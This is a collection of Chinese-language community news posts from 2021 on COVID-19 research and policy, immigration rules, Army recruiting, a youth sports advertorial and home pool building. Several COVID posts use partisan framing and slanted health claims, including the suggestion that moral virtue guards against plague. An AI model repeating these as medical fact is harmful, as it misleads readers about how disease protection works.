然而,一项发表在《英国医学期刊》(BMJ)的综述表明,即使从未接种疫苗、也从未接触过新冠病毒的人,也可能具有识别并杀死新冠病毒的能力。

这项综述总结了至少6项研究,检测对象包含美国、英国、德国等多个国家的民众。结果显示,有20%~50%的健康人早在新冠病毒出现之前,体内就预先存在了针对新冠病毒的T细胞免疫力。

研究者们推测,原因可能是这些人曾经通过感染感冒冠状病毒或其它类型的冠状病毒,因此能够对新冠病毒产生交叉免疫反应。

越来越多的科学家开始意识到,想要抵抗新冠病毒,不仅是单单依靠抗体,比如瑞典研究所免疫学家马库斯·布格特 (Marcus Buggert)表示,衡量一个人对于新冠的抵抗力,单单靠抗体检测是不够的。两位来自伦敦王家大学的免疫学家给《科学免疫学》(Science Immunology)期刊写的评论中说,现在是时候需要T细胞免疫的数据了。

科学界开始认识到,人类想要抵抗Covid病毒,可能需要自身天然的免疫力。

目前,一方面由于Covid-19各种变种的出现,另外疫苗接种者体内的抗体随着时间而衰减。因此,大家发现疫苗的保护力在逐渐下降。不过,欧洲病毒学专家、生物技术公司首席科学家,董宇红女士提醒大家不用太担心。因为除了疫苗给我们带来的免疫力,我们身体还有许多其它的免疫物质来预防这个多变的病毒。

(图片:维护人体自然免疫力,抵抗病毒)

人体的免疫力是靠什么来维护的呢?董宇红女士谈到,就是我们物质身体的健康和精神上的稳定,包含平时均衡的营养摄取、规律的作息、平和的心态和良好的情绪。每个人若能让自身的免疫系统强壮起来,在疫情面前才会更心安。

2021-09-03 / by / in , ,
纽约征兵营指挥官:欢迎华人参军

8月31日,美国纽约征兵营(U.S. Army New York City Recruiting Battalion)和纽约汉米尔顿军事基地(Fort Hamilton),在纽约一处军人俱乐部举行聚会,庆祝今年的“妇女平等日”(Women’s Equality Day)。在此次聚会上,征兵营军官鼓励华人社区的青年参军,并表示,“中文能力是一个大加分”。

征兵营指挥官鼓励华人参军

参加这次聚会的纽约征兵营指挥官莫里斯中校(Lieutenant Colonel ,Harold Morris,Commander,U.S.Army Recruiting Battalion)表示,他个人参加过阿富汗和伊拉克战争,在他的军旅生涯中,女性和男性一样重要。无论是步兵部队还是核心师,无论是白天夜间的巡逻还是扛着50或者100磅的武器,他一直和女兵们并肩作战。

另一个征兵营的军士长英达戴奥(CSM Angela Indardeo,Command Sergeant Major)表示,在最近的征兵中,150种职业中都有女性。

美国纽约汉米尔顿军事基地(Fort Hamilton)驻军指挥官和征兵营都表示,美国军队重视多元化与妇女的作用,并鼓励纽约华人社区的年轻人参军。 (The Epoch Times)

两位征兵军官鼓励纽约华人社区的青年参军。

莫里斯说,他们征兵不针对任何种族,在美国军队中人人平等。

“但我想说,中文语言能力是非常有需求的,特别在情报、翻译以及外联部门。所以,如果华人社区中有人想考虑在军中谋职,中文能力是一个大加分。”

谈到在军队中工作使他们最受益的地方,莫里斯表示,对他来说是“团队精神”。

“做一个军人让你有机会成为团队的一部分,在军队中你可以去一些有趣的充满挑战的地方,做一些平常人没有机会做的事情,这可能是军队中最好的事情。”他说。

每年的8月26日是美国的“妇女平等日”,始于1973年。

汉米尔顿军事基地邀请了几位参加过韩战、越战的女性老兵,以及给军人演唱的艺术家参加了庆祝聚会。该基地驻军指挥官马丁上校(the Garrison Commander, COL Graig Martin)表示,这个纪念会非常重要,因为它体现了美国军队的价值观。

“我们是纽约市唯一一个现役军事设施,美国军队是一个把人放在首位的机构,……我们照顾我们的人,不管他们是一个个人,还是一个家庭,这是一个集体,这是一个关心人的社区。”他说,“所以彰显我们军队和美国人民的价值观和品格就非常重要。”

美国参军的福利待遇

  • 最年轻的入伍军人每年的基本工资约为 25,000 美元(不包括津贴、特殊薪酬和其他福利),而临近退休的入伍军人通常每年收入约为 70,000 美元;
  • 美军有全职或半职的工作可以灵活安排;
  • 美军会提供多种职业技能培训;
  • 美军很好的医疗和牙医福利;
  • 每年有30天带薪假期;
  • 高中毕业生参军合同结束后,如果想继续读大学,美军可提供数万美元学费,还根据所在的州有每个月2000美元左右的生活费。

 

 

2021-09-02 / by / in , , , ,
怎样让儿童、青少年摆脱网络?最好的方法参加体育运动、参加足球课、参加篮球课

怎样让儿童、青少年摆脱网络?最好的方法参加体育运动/参加足球课/参加篮球课/Bayside足球课程/贝赛足球课程/CK Sports/長江體育中心

擺脫網絡  盡情運動和玩耍

CK Sports讓孩子身心健康 自信滿滿

     疫情持續一年多,很多小孩子掉入網路漩渦,因此近視加深、神思恍惚,令家長愛莫能助。CK體育社團(CK Sports)為孩子們提供一個玩耍、嬉戲、運動和團隊合作的機會,讓處於成長期的少年兒童從網路中脫身,參與到運動的樂趣中來。

紐約市前高中教育協會委員、前韓國國家隊選手——李黃龍(Alex Lee)院長在CK體育社團工作超過十年,他希望給孩子們提供一個學習和建立自信的體育環境。CK從2004年起,提供籃球、足球課程,增設羽毛球,乒乓球課程,還有幫助青少年身體長高的拉伸運動、健身舞等活動項目。

少年兒童通過適當運動、團隊合作,可以擴大社交圈,結識志趣相投的同齡人,得到教練的科學培訓,比單一在家庭中面對父母的說教更有效果,更容易培養自律和自覺性。同時,還可以有效刺激身體生長,提高靈活度,養成良好的健身運動習慣,回到學校也更有自信心,終身受益。

**組織性強 寓教於樂

和其它體育機構不同的是,CK是一個非常有組織性的機構。從教練到工作人員再到場地,都是經過嚴格篩選和訓練。所有的輔導員都是有熱心、有使命感的人。在孩子們的訓練場地,可以看到擔任裁判的輔導員現場平復孩子們過度興奮的心情,並使整個訓練比賽在激烈友好的氛圍中進行。CK提供的一些課程是以娛樂消遣為主,教學為輔。孩子們在這裡可以盡情地鍛練、運動、交友、娛樂,CK的教練們耐心的指導可以幫孩子安全地度過躁動的青春期。

**籃球足球課程 按年齡分班

紐約社區有很多籃球和足球運動等活動,但是如果想加入那些團隊,孩子們需要先掌握基本技能,如果孩子們能熟練掌握這些技能,不但可以更有自信,更重要的是,當他們回到學校,會在體育社團表現非常出色。

CK的籃球課和足球課,針對不同年齡的孩子(5到15歲)分成不同班級、不同時間段,每週週二到週六,分班進行訓練。羽毛球和乒乓球運動強度和籃球、足球不同,每週一下午為5到11歲的孩子提供課程訓練。

CK Sports

長江體育中心

地址:38-20 Bell Blvd,Bayside,New York 11361(有大停車場)

電話:718-669-2428

郵箱:cksports@gmail.com

網站:www.cksportsusa.com

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2021-09-01 / by / in , ,
世界卫生组织监测名为 Mu 的新型中共病毒 COVID-19 变体

世界卫生组织表示,它正在监测另一种新的中共病毒 COVID-19 变体,该变体的突变可能使其对疫苗产生抗药性。

Mu 变体,也称为 B.1.621,已于周一作为“感兴趣的变体”添加到该组织的观察名单中。

“Mu 变体具有一系列突变,表明免疫逃逸的潜在特性,”公告说。

初步数据表明,它可能以类似于 中共病毒Beta 变体的方式逃避疫苗,但专家表示,需要对该毒株进行更多研究。

自 2021 年 1 月首次在哥伦比亚出现以来,Mu 变种已在至少 39 个国家/地区出现。

该机构表示:“尽管 Mu 变异在测序病例中的全球流行率已经下降,目前低于 0.1%,但哥伦比亚(39%)
和厄瓜​​多尔(13%)的流行率一直在上升。”是由于基因测序的增加。

随着高度传染性的 中共病毒Delta 变种导致全球病例激增,人们对这种新毒株感到担忧。

2021-09-01 / by / in , , , , , , ,
美国家庭建造游泳池指南|新建游泳池注意事项|如何选择建游泳池承包商|美国家庭游泳池种类 地上游泳池优缺点/地下游泳池优缺点|美国建造游泳池成本

文|雨荷

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在美国买房后有了自己的庭院,很多人喜欢在后院建游泳池。但在建游泳池之前您要了解新建游泳池注意事项,这些重要的规划和技巧。哪种类型游泳池适合您,以及美国新建游泳池的费用,如何选择建造游泳池承包商。以下是美国家庭建游泳池指南

美国家庭建游泳池指南

美国家庭游泳池种类

家庭游泳池分为地上游泳池和地下游泳池两大种类。

一. 地上游泳池

选择地上游泳池通常是您最经济的选择,游泳池位于您院子的表面,周围有甲板或露台。大多数地上游泳池是用铝、树脂或钢制壁板建造的,带有乙烯基衬里。

作为 DIY 项目,您通常可以相对轻松地组装和拆卸这种类型的游泳池,或者许多零售商提供送货和安装服务。它们可以很容易地运到游泳池现场进行组装。

地上游泳池的优点

1.地上游泳池是最实惠的泳池类型。
2.有些选择是临时结构,因此您可以在搬家时随身携带。
3.它们有多种形状和尺寸可供选择,适用于小院子。
4.组装和拆卸地上水池相对容易。

地上游泳池的缺点

1.尽管它们有多种形状和尺寸,但您通常只能使用制造商提供的设计。
2.尽管精心规划的露台和甲板可以帮助将它们融入您的院子中,但地面游泳池很难在景观中伪装。
3.它们的寿命没有地下游泳池那么长。乙烯基衬垫通常需要每五年更换一次。

地上游泳池优点

二. 地下游泳池

地下游泳池是直接建在景观中的永久性结构。游泳池的主要特点是健身,那么小型游泳池可能是一项明智的投资。这种类型的地下游泳池专为游泳圈而设计,长而窄,通常为矩形。小型游泳池需要最小的空间,是小院子的理想选择。大多数小型游泳池提供至少 40 英尺直、畅通无阻的游泳空间,以限制频繁转弯的需要。对于一个游泳者来说,一个小型游泳池的宽度可以小到 8 英尺。

地下游泳池主要优点:

1.大多数地下游泳池可以设计成适合任何形状或大小的院子,并满足您的特定需求,例如潜水或健身游泳的空间。
2.它们可以很容易地设计到景观中。
3.有多种配件和功能可供选择,例如跳水板、滑梯、水上游戏、喷泉和特殊照明。

地下游泳池的缺点

这种类型的游泳池也有一些明显的缺点:

1.地下游泳池的建造成本通常更高。
2.地下游泳池施工时间可能很长。
3.地下游泳池由于水面接近地面,地下游泳池可能对年幼的孩子或宠物构成更大的安全风险。

地下游泳池主要优点

三:建造游泳池的成本

建造游泳池的总成本取决于几个因素,包括游泳池的大小、设计和类型。使用以下数字作为粗略估计,并与您当地的专业人士核对准确报价。

地上游泳池成本

因为地上游泳池是安装而不是建造的,所以它们通常比地下游泳池更经济。最基本的地上池不需要过滤设备,对于更坚固的模型,其运行成本低至几百美元到 1,000 美元。带有过滤设备的更大、更精致的地上游泳池的成本通常在 1,000 美元至 8,000 美元之间。游泳池装饰、景观美化和配件等额外设施将增加该成本。

地下游泳池成本

设计和建造成本使地下游泳池的建造成本更高。带有最小庭院周围和基本围栏的地下游泳池起价约为 20,000 美元。更精细的设计将在 50,000 美元到 100,000 美元以上。您对游泳池设计和建筑材料、露台材料、景观、照明以及水疗中心或喷泉等额外功能的选择将决定成本。

地下游泳池成本

游泳池产生的费用

游泳池建造后需要的费用

化学品:泳池化学品的平均每月费用在 50 美元到 100 美元之间,具体取决于您的气候、泳池大小和使用频率。地上池的化学品成本与类似大小的地下池的化学品成本大致相同。

打开和关闭游泳池:虽然这可以是一个 DIY 项目,但每个季节聘请专业人士打开和关闭您的游泳池将花费大约 100-350 美元。清洁和存放泳池盖通常是额外的。

维护:最大的维护费用是游泳池的内部装饰。乙烯基衬里大约可以使用 6-10 年,而喷漆混凝土大约每五年需要一次新涂层。石膏饰面可以持续 10-15 年。许多新的水泥涂层产品,例如Pebble Tec,都旨在使用一生。

设备:设备寿命因品牌和质量而异。其他因素,如适当的水化学和设备位置,可能会影响材料的使用寿命。因为泵是用来推水而不是抽水的,所以放置在游泳池水平的泵通常比那些坐在更高位置并且必须用力抽水的泵持续时间更长。

公用事业:由于水泵所需的电力,水电费在游泳池开放季节往往会增加。热水池需要更多的能量。

游泳池产生的费用

四:新建游泳池注意事项

游泳池大小主要是个人选择。有些人更喜欢完全消除草地,并用游泳池和露台填满空间,而另一些人则希望在新景观中包括草地。确保和您的承包商对游泳池和水疗中心有最新的分区和建筑限制,并询问承包商如何处理许可程序。分区主要在地方层面处理,通常包括围栏和障碍物、跳水板的水池深度要求、后退和靠近公用事业线路等问题。请查看您当地的法令。

地下游泳池的缺点

五:如何选择建游泳池承包商

可靠的承包商可以使建造游泳池的过程更加顺利。在寻找承包商时,请从朋友和邻居那里获得推荐,并在做出决定之前至少与三名建筑商交谈。收集以下信息以帮助审查潜在的承包商:

1.确定以其现名和所有权经营的年数。

2.确保承包商获得保税和保险。拿证据。

3.亲自参观他们的工作,并与房主讨论他们与该承包商合作的经历。

4.与供应商讨论承包商的状态。

5.询问他们是否分包工作或使用自己的员工。

6.询问他们是否有设计经验或提供设计服务。

您还应该注意,不预先支付全额费用。

如何选择建游泳池承包商

六:建游泳池时间安排

在建造地下游泳池的过程中,您的承包商可以估计项目完成日期,一个地下游泳池需要三到十二周的时间,具体取决于项目的复杂性。地上水池通常可以在几小时或几天内安装好。

七:游泳池安全注意事项

安全是游泳池最关心的问题。任何时候都必须有适当的围栏和监督,以确保可能在游泳池附近游荡的儿童、宠物和野生动物的安全。市场上有许多特殊产品可帮助确保泳池安全。考虑添加水报警器、高科技激光技术、安全罩和个人安全配件,如救生衣和泳池浮标,让您更加安心。

八:联营保险范围

游泳池的保险范围是房主保险的一部分。一些保险公司会提高拥有游泳池的保费。在购买或建立您的池之前,请与您的保险代理人交谈。

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2021-09-01 / by / in , , , , , ,
9月18日 纽约市8家博物馆免费开放

新冠疫情冲击了很多美国人的生活,不少人失业或长时间蜗居在家,或多或少会有郁闷的情绪。美国博物馆日让人们有机会出门放松心情,体验丰富有趣的历史、艺术与文化展览。

日前,“史密森尼杂志(Smithsonian Magazine)”公布,美国第17届博物馆日将于9月18日举办。届时,所有持有博物馆日门票(Museum Day ticket)的人都可以免费参观全美各地参与该活动的博物馆、动物园和文化中心。

史密森尼媒体首席营收官艾米威尔金斯 (Amy Wilkins) 表示:“它为我们提供了一种方式,让人们能够接触到这些可能就在自家后院的令人难以置信的瑰宝,但他们却没有机会加以利用。”

史密森尼博物馆日定于9月18日举办,纽约市有8家博物馆参加今年的活动。(Smithsonian Magazine Museum Day)

今年全美共有825家博物馆参加该活动,其中包括430家历史博物馆、160家艺术博物馆和58家科学博物馆。

比较知名的包括:洛杉矶的加州非裔美国人博物馆、西雅图的飞行博物馆、新奥尔良的国家二战博物馆和巴尔的摩艺术博物馆。还有一些更奇特的选择,例如德克萨斯州沃思堡的国家女牛仔博物馆和名人堂,以及旧金山的美国装订博物馆。

纽约市有8家博物馆参加今年的活动:

  • 纽约市博物馆(Museum of the City of New York);
  • 艺术与设计博物馆(Museum of Arts and Design);
  • 无畏号海空暨太空博物馆(Intrepid Sea, Air & Space Museum);
  • 纽约市消防博物馆(New York City Fire Museum);
  • 巴托佩尔大厦博物馆(Bartow-Pell Mansion Museum);
  • 海报屋(Poster House);
  • AKC狗博物馆(The AKC Museum Of The Dog);
  • 威廉斯堡艺术与历史中心(Williamsburg Art & Historical Center)。

参观者可以在史密森尼博物馆日网站获取免费门票,每个邮箱只能注册获取一张门票,每张门票将允许两个人进入选定参观的博物馆。有些博物馆允许在智能手机上出示免费门票,有些则希望将其打印出来;门票上会注明是否需要纸质版。

请注意,有些博物馆可能需要提供疫苗接种证明才能进入,可以提前与博物馆联系确认。

登录史密森尼博物馆日网站了解详情:https://smithsonianmag.com/museumday/museum-day-2021

2021-08-31 / by / in , , ,
巴西科学家 发现有Covid-19病毒天然免疫力的人

这两年的Covid-19疫情就像潮水一样,退下一波,好不容易松一口气,接着又来一浪。并且病毒不断变异,传染力越来越强,疫苗看似跟不上病毒变异的节奏,令前端医学研究人员束手无策。在这过程中,科学家们却注意到一个神奇的现象,他们发现有些人对Covid-19病毒有天然的免疫力。

科学家发现了对Covid-19有天然免疫力的人

据医学网络媒体Stat News报导,巴西圣保罗大学(University of São Paulo)教授扎茨(Mayana Zatz)是一位分子生物学家和遗传学家。在2020年2月,她注意到巴西有一对夫妇,丈夫感染了Covid-19病毒后, 一起同吃同住、不戴口罩的妻子,却始终没有被感染。

这引起了扎茨女士的兴趣,她希望能从基因研究方面找到一些可能的原因,并且对根本上治疗COVID-19病毒感染的方法提供一些线索。

于是扎茨在巴西的电视节目中,公开招募具有这样“超能力”的公众报名,帮助她进行研究。

扎茨很快收到了近三千封有相同经历的夫妇的报名邮件。即夫妇一方感染Covid-19病毒,而另一方却始终测试阴性。她从中挑选了100人作为研究对象,对他们进行了基因测序。

对Covid-19病毒有天然免疫力的人进行基因测试

扎茨解释说,目前人类对于Covid病毒如何侵入人体的这些基本生物学知识,其实知之甚少。有人被病毒感染后,他们的免疫系统会开始自发工作、清除病毒,这种人可能没有症状,但身体会产生抗体,通过测试能够检测到先前感染的证据。这与天然免疫力不同,这不是扎茨要研究的对象。

扎茨要寻找的这类人,是在不断接触病毒的情况下,病毒就是无法进入他们身体的细胞,无法在这些人的体内立足。

这份研究从基因角度分析,有了一些初步的发现。比如,决定这种天然免疫力的基因肯定不止一个,是多个基因变体共同作用的结果。而且,有症状感染者体内的自然杀手细胞(NK cell)的活性较差。自然杀手细胞是一种重要的免疫细胞。

具体来说,这份研究发现在所有与免疫力相关的基因里,MICA基因和MICB基因的46个变体都与有症状感染相关。

微生物学家Anirban Mahapatra曾指出:免疫系统是一个有着许多零件和装置的复杂机器,没有一个“打开”和“关闭”的开关。也就是说,可能发生的变化太多、太复杂,谁都无法预知。

扎茨的研究还发现,具有天然免疫力的人中女性居多,从事的职业从医生、教师到商人都有。这说明“任何人都可能具有这种超级抵抗力”。扎茨希望这份研究以及后续的类似研究能够找到对付COVID-19病毒根本的办法。

研究抵抗Covid-19病毒的方法

 

欧洲黑死病留下的疑团

在上几个世纪,夺去了欧洲至少三分之一的人口的黑死病,给人类留下了很多疑问,至今任何科学都无法解开这些谜团。例如,为什么一夜之间它能席卷一个城市或村庄,而在有的地方延缓数月甚至数年之久?为什么有些地区能够完全免疫?为什么有些人短暂接触就会感染并导致死亡,而有些密切接触的人,却完全不被感染?

1348年黑死病席卷弗洛伦斯(维基百科

当黑死病在威登堡(Wittenberg)爆发时,当地一名基督徒——马丁‧路德说到,上帝降下瘟疫,既是作为一种惩罚,也是对基督徒的试炼,上帝要看基督徒如何以信心依靠上帝、以爱心对待邻舍。

当时虽然身边很多人感染瘟疫而死,路德还是选择留在了疫区,继续为病患及垂死者服务。他与怀有身孕的妻子凯瑟琳一起接待病患。路德相信,上帝会给予那些照顾瘟疫病患的基督徒一定程度的神圣免疫力,“经验表明,那些用爱心、奉献和真诚来护理病人的人,通常会受到保护。虽然他们染毒,却没有遇害。”

路德还说:“由于贪婪,或期望继承产业,或因这种服侍能获得其它个人利益而去看护病人的,如果最终被传染、毁容甚至死亡,应该不要感到惊讶。”最后路德一家没有被传染,虽然他的小女儿出生没多久即夭折,也没有使路德改变对神的信念。

中国古代的大医学家孙思邈在《千金要方》中写道:“德行不克,纵服玉液金丹,未能延年。”“道德日全,不祈善而有福,不求寿而自延。”意思是说:如果人的道德不好,就是吃仙丹妙药,也不能延年益寿。如果道德高尚完美,不用祈祷,就能多福多寿。

2021-08-31 / by / in , , ,
中共病毒COVID死亡人数逐渐攀升 美国俄勒冈县要求卡车运送尸体

美国俄勒冈州紧急事务管理部门周六表示,俄勒冈州因 中共病毒 COVID-19 造成死亡人数上升如此之快,以至于两个县都要求用冷藏车来存放尸体。

俄勒冈州应急管理办公室发言人 Bobbi Doan 说,到目前为止,俄勒冈州西北海岸的蒂拉穆克县和西南部的约​​瑟芬县都要求使用卡车。

蒂拉穆克县紧急事务主任戈登麦克劳在向该州提出的请求中写道,该县唯一的殡仪馆“现在一直处于或超过其容纳九具尸体的容量”。

他写道:“由于员工的 COVID 病例,他们无法将仓库运送到邻近的县。”他补充说,该县的自杀率也在上升。

多安在电话采访中说,这辆冷藏车于周五抵达该县,由克拉马斯县借出。

蒂拉穆克县委员会周五表示,中共病毒COVID-19 的传播“已进入关键阶段”。在Tillamook County Pioneer在线发表的一份声明中 ,他们说,从 8 月 18 日至 8 月 23 日,该县有 6 例新的中共病毒 COVID-19 死亡病例,超过了前 18 个月内发生的 5 例 中共病毒COVID-19 死亡病例总数。大流行。

“在过去的一周里,我们在蒂拉穆克县的 中共病毒COVID 死亡人数增加了一倍多,从 5 人增加到 11 人,”专员 Mary Faith Bell、David Yamamoto 和 Erin Skaar 写道。

中共病毒(冠状病毒)Delta 变种正在俄勒冈州人群中肆虐。

但根据俄勒冈州卫生局的数据,在约瑟芬县,医院人满为患,停尸房也已满员。

县城格兰茨帕斯的医院工作人员说,由于冠状病毒(中共病毒)病例激增,他们的停尸房已经满了。

Grants Pass 的 Asante Three Rivers 医疗中心的首席执行官 Win Howard 告诉委员们:“我们的社区正处于一场全面的医疗危机中。我以前从未见过这样的事情。”

约瑟芬县紧急事务经理 Emily Ring 周二向该州要求提供一辆可容纳“20-48 具尸体”的冷藏拖车。

她写道,县医院每天都在超过其尸体储存容量,五个殡仪馆和三个火葬场“每天都处于危机容量的边缘”。

“拖车必须有升降机和货架,”她在紧急申请表中说。

多安说,太平间只能合法地同时拥有一定数量的尸体,这就造成了容量问题。她的办公室正在协助将一辆冷藏停尸房卡车从 Yamhill 县转移到约瑟芬县。

“现在,OEM 的角色确实是在空中交通管制中,”Doan 说。“这就像,这里有需求,这里有一种资源,可以帮助他们通过互助连接点。”

俄勒冈州卫生局周五报告了 20 例新死亡病例,使该州的死亡人数增至 3,115 人。

自大流行开始以来,在这个 420 万的状态下,已报告了 268,401 例中共病毒病例。

2021-08-30 / by / in , , , , ,
CDC最新:绿卡申请人必须接种疫苗

根据美国疾病控制和预防中心(CDC)官方的说法,从2021年10月1日起,申请美国“合法永久居留权”(绿卡)的个人,需要提供新冠病毒(武汉肺炎、COVID-19)疫苗完全接种的证明文件。移民局将会在近期发布新的移民体检表格(I-693)。

据CDC官方网站的消息:“疫苗接种和常规感染控制实践相结合,将为申请人和美国社区提供最佳的COVID-19保护。”

因此,绿卡申请者“必须完成COVID-19疫苗系列接种,并亲自向体检医生提供疫苗接种文件” 作为体检报告的一部分。

从10月1日起,绿卡申请者需要接种COVID-19疫苗并获得接种证明文件。移民局将会在近期发布新的移民体检表格(I-693)。

CDC强调,“无论是否有免疫力的证据或先前感染过COVID-19的证据”,申请人都必须接种疫苗。

根据CDC的指导意见,受指定的移民体检医生必须审查申请人的疫苗接种文件,确认申请人已完全接种Covid-19疫苗。有效疫苗接种文件包括疫苗接种记录卡,医生记录的病历副本等等。依照规定,申请人必须在完成体检前,完全接种疫苗。

如果移民体检在2021年10月1日之前完成,并且仍然有效,则不需要接种新冠疫苗。

豁免接种疫苗资格

CDC在指导意见中也列出了豁免接种疫苗的资格:

  • 无法获得美国或世卫组织批准的疫苗的申请人;
  • 对疫苗有禁忌症的申请者;
  • 年龄太小不能接种疫苗的申请者;
  • 申请人可以以宗教或道德信念为由,申请豁免接种疫苗。美国移民局将根据个人情况衡量是否批准豁免。

在本月早些时候,纽约州以及纽约市推出的强制接种疫苗政策,受到很多人的抵制。周三(8月25日),有数千人在纽约市政厅前集会,抗议联邦、纽约州以及纽约市颁布的强制疫苗政策,呼吁拜登政府尊重民众的医疗自由、选择自由。

8月25日,纽约市民参加抗议强制疫苗千人集会。(The Epoch Times)

 

2021-08-30 / by / in , , , ,
美移民局:庇护表留空白被拒 可在明年7月前重新提交

每年都有大量的各类申请表格因留有空白,被美国移民局(USCIS)拒绝受理。日前,移民局宣布,对三类申请表格因申请人留下空白,而遭到移民局拒绝的情况,允许申请人重新提交,移民局收据的日期算申请人最初提交表格的日期。

允许申请人重新提交的三种表格是:

  • 申请庇护及申请暂缓遣返的I-589表;
  • 申请非移民U签证的I-918表;
  • U-1接收者申请合格家庭成员的I-918 Supplement A表。

有纽约移民律师表示,申请表格因留有空白被拒,美国移民局(USCIS)允许申请人重新提交,是“人性化”的一种体现。

以上三种表格因留了空白而遭到拒绝的申请者,可以在2022年7月20日前重新提交,移民局收据的日期,仍然算作是最初收到表格的日期。

有纽约移民律师表示,此政策是拜登政府对待移民“人性化”的一种体现。例如美国庇护申请(I-589表)是要求申请人在来美一年之内提交的,如果此前因表格留有空白而被退回,现在申请人重新提交表格,那么很可能就会超过1年之内提交的有效期,但现在移民局对于这些重新提交的申请,允许收据日期为最初提交申请的日期,这样就不会导致他们的申请过了期限。

如果申请人在给移民局的表格中关于曾用名、中间名、用母语写的名字、护照或旅行证件号码这些选项留空白,会被其视为未完成的申请表而退回。

据统计数据显示,美国移民局因申请表格留有空白而拒绝了超过6万份申请,包括4.3万份庇护申请,以及1.7万份U签证申请。

2021-08-30 / by / in , , , ,
10月份更多美国医疗保险公司 不再豁免Covid-19治疗费用

Covid-19疫情在美国有卷土重来之势,万一不幸感染并且需要住院治疗的话,美国医疗保险会承保这一部分的医疗费用吗?

其实,COVID-19在美国初期传播时,大部分的私人保险公司都免除了个人承担部分费用或者豁免了全部的治疗费用。据凯撒家庭基金会(KFF)的一项分析显示,到2020年11月为止,90%有医疗保险的个人,如因感染Covid-19病毒住院的,医疗保险公司均豁免了需个人承担的部分。

该小组指出,在封锁和未找到解决方案的不确定期间,其实医疗保险公司利润飙升,因为当时许多的常规检查和选择性手术都往后推迟。在这期间医疗保险公司利润反而比平时更高了。

疫情期间私人医疗保险公司利润更高

凯撒家庭基金会KFF在美国各州的调研数据显示,相比之下, 目前美国超过70%的大保险公司已不再豁免Covid-19 的治疗费用;另外有10%的保险计划将于2021年10月底为止将不再豁免Covid-19治疗费用。

随着疫苗接种在美国的普及,大多数保险公司将不再免除Covid-19住院治疗费用。因为疫苗接种,在目前已被视为主要的预防性措施。美国疾病预防控制中心(CDC)发布的一项研究发现,未接种冠状病毒疫苗者住院风险可能是突破性感染病患的29倍。大约超过95%的住院患者是未接种疫苗者。

更多医疗保险公司不再豁免Covid-19住院费用

感染Covid-19后,住院病人花费的医疗费用高达数万美元。密歇根州蓝十字蓝盾公司(Blue Cross Blue Shield of Michigan,缩写为BCBSM)告诉WXYZ电视台,自大流行开始以来,该公司已经为此支付了7.5亿美元,大约25万名客户没有自掏腰包进行治疗。

从10月1日起,BCBSM将不再免除Covid-19的治疗费用,但将继续向客户提供免费疫苗接种。

尽管如此,大家也不必太紧张。有医疗保险的病患并不需要支付所有的住院医疗费用。举例说,一名重症患者的治疗费用为50,000美元,相当于治疗肺炎的费用,患者最后自己支付的部分也许只要1,300美元。这只是举个例子,根据医疗保险计划不同,自己付费的比例都不一样。不过医疗保险会承保大部分的费用。

医疗保险将承保大部分的住院费用

另外,并非所有保险公司都停止承保客户的Covid-19治疗费用。

Humana健康保险公司发言人马克·马蒂斯(Mark Mathis)告诉福克斯新闻,其公司在2021计划年度“将为所有Humana医疗保险优势医疗计划成员支付COVID-19治疗的自付费用。”

但这是“Humana 2021医疗保险优势计划中的一项福利,它不是‘费用豁免’。”

根据worldmeters.info数据显示,截至2021年8月29日,9:00 GTM,美国共有39,617,417人染疫;30,812,242人康复;654,384人死亡。

纽约州染疫人数共为 2,328,866 ;康复 2,106,152;死亡54,716。

2021-08-29 / by / in , , , , ,
CDC最新研究 疫苗对Delta病毒有效性下降30%

来自于CDC(美国疾病控制和预防中心)的两项新的研究结果表明,随着更具传染性的Delta变种病毒在美国全国范围内的持续传播,完全接种疫苗者对COVID-19病毒的免疫力正在减弱。

疫苗有效性第一项研究

据Politico网站8月24日的报导,第一项研究对象是一线医护工作者。研究发现,自Delta成为美国国内的主要病毒株以来,疫苗有效性下降了近30%。分析还得出另一结论:Covid-19疫苗对一线医护者的防护有效性为80%。

CDC在其报告中对疫苗有效性发出警示,称“随着接种后时间增加,(疫苗)有效性可能下降,由于观察时间有限,评估结果并非十分精确。”

疫苗对Delta病毒的有效性下降30%

疫苗有效性第二项研究

第二项研究对象为洛杉矶43,000名16岁以上民众。研究发现从5月至7月之间的新感染病例中,有25%为疫苗完全接种者,71%为未接种者。这项研究的数据显示,疫苗完全接种者的住院率,比未接种者明显要低。

另外三份报告

在这两项研究发布之前,该机构还发布了另外三份报告,分别是关于:

  • 疫苗有效性;
  • Delta 变种;
  • 突破性感染。

其中一份分析显示,从5月初到7月末,纽约成年人中的疫苗有效性已从91.7%降为79.8% 。

疫苗保护力随着时间推移而减弱

CDC最近的两组研究显示,突破性感染在疫苗已接种者中仍属少数发生。但是,越来越多的证据显示,疫苗对COVID病毒的保护力会随着时间的推移而减弱。该机构的官员表示,研究数据可以支持他们的疫苗接种的建议,即美国人完全接种疫苗后8个月,需要再接种增强剂疫苗。

CDC数月来一直在美国不同人群中,监测突破性感染病例和疫苗有效性。该机构与小部分的州健康部门合作研究疫苗完全接种者的感染病例。并持续在一线医护人员、养老院内老人和工作人员这些人群中,研究疫苗有效性。

CDC数月来一直在监测疫苗有效性

CDC官员指出,最近各州关于突破性感染的数据,以及纽约的研究,都清楚地证明,美国人需要接种增强剂疫苗。

但是拜登政府内部的批评者和外部的卫生健康专家都对CDC提出的这项建议表示质疑,认为证据不足。

CDC在清理和分析数据时的保密性,让白宫的一些人感到沮丧。随着突破性感染的报导越来越多,卫生官员们强烈要求得到更多的关于美国人在接种疫苗后,再次发生严重感染的比例的最新数据。

纽约市突破性感染率为

纽约市卫生局于8月25日表示,纽约市完成接种疫苗的民众,体内在14天后仍能检验出COVID-19的比例为0.33%,且近期突破性感染的案例还在增加。

据市卫生局最新公布数据,纽约市有64%的人口已经接种至少一剂疫苗,人数超过530万人;57%的纽约市民已完全接种,人数接近480万人。

记者会上,市长白思豪发布最新疫情数据:

  • 当日疑似染疫住院数为148位,其中确诊的为82%;
  • 每十万人住院率为39;
  • 平均七日新增染疫数为1,645人。
2021-08-28 / by / in , ,
纽约州最高5万美元小企业复苏补助 霍楚扩大申请资格

纽约州正在努力加快新冠疫情后的经济复苏。8月25日,纽约州新任州长霍楚(Kathy Hochul)宣布,扩大“疫情期间小商业复苏补助计划”(Pandemic Small Business Recovery Grant Program)的申请资格。此举将会使纽约更多的小微企业受益。

霍楚表示:“如果小企业继续挣扎求生,根本无法实现全面经济复苏。随着疫情期间小商业复苏补助计划向更多企业开放,我极力呼吁所有符合资格的业主提交申请,获得这项补助。”

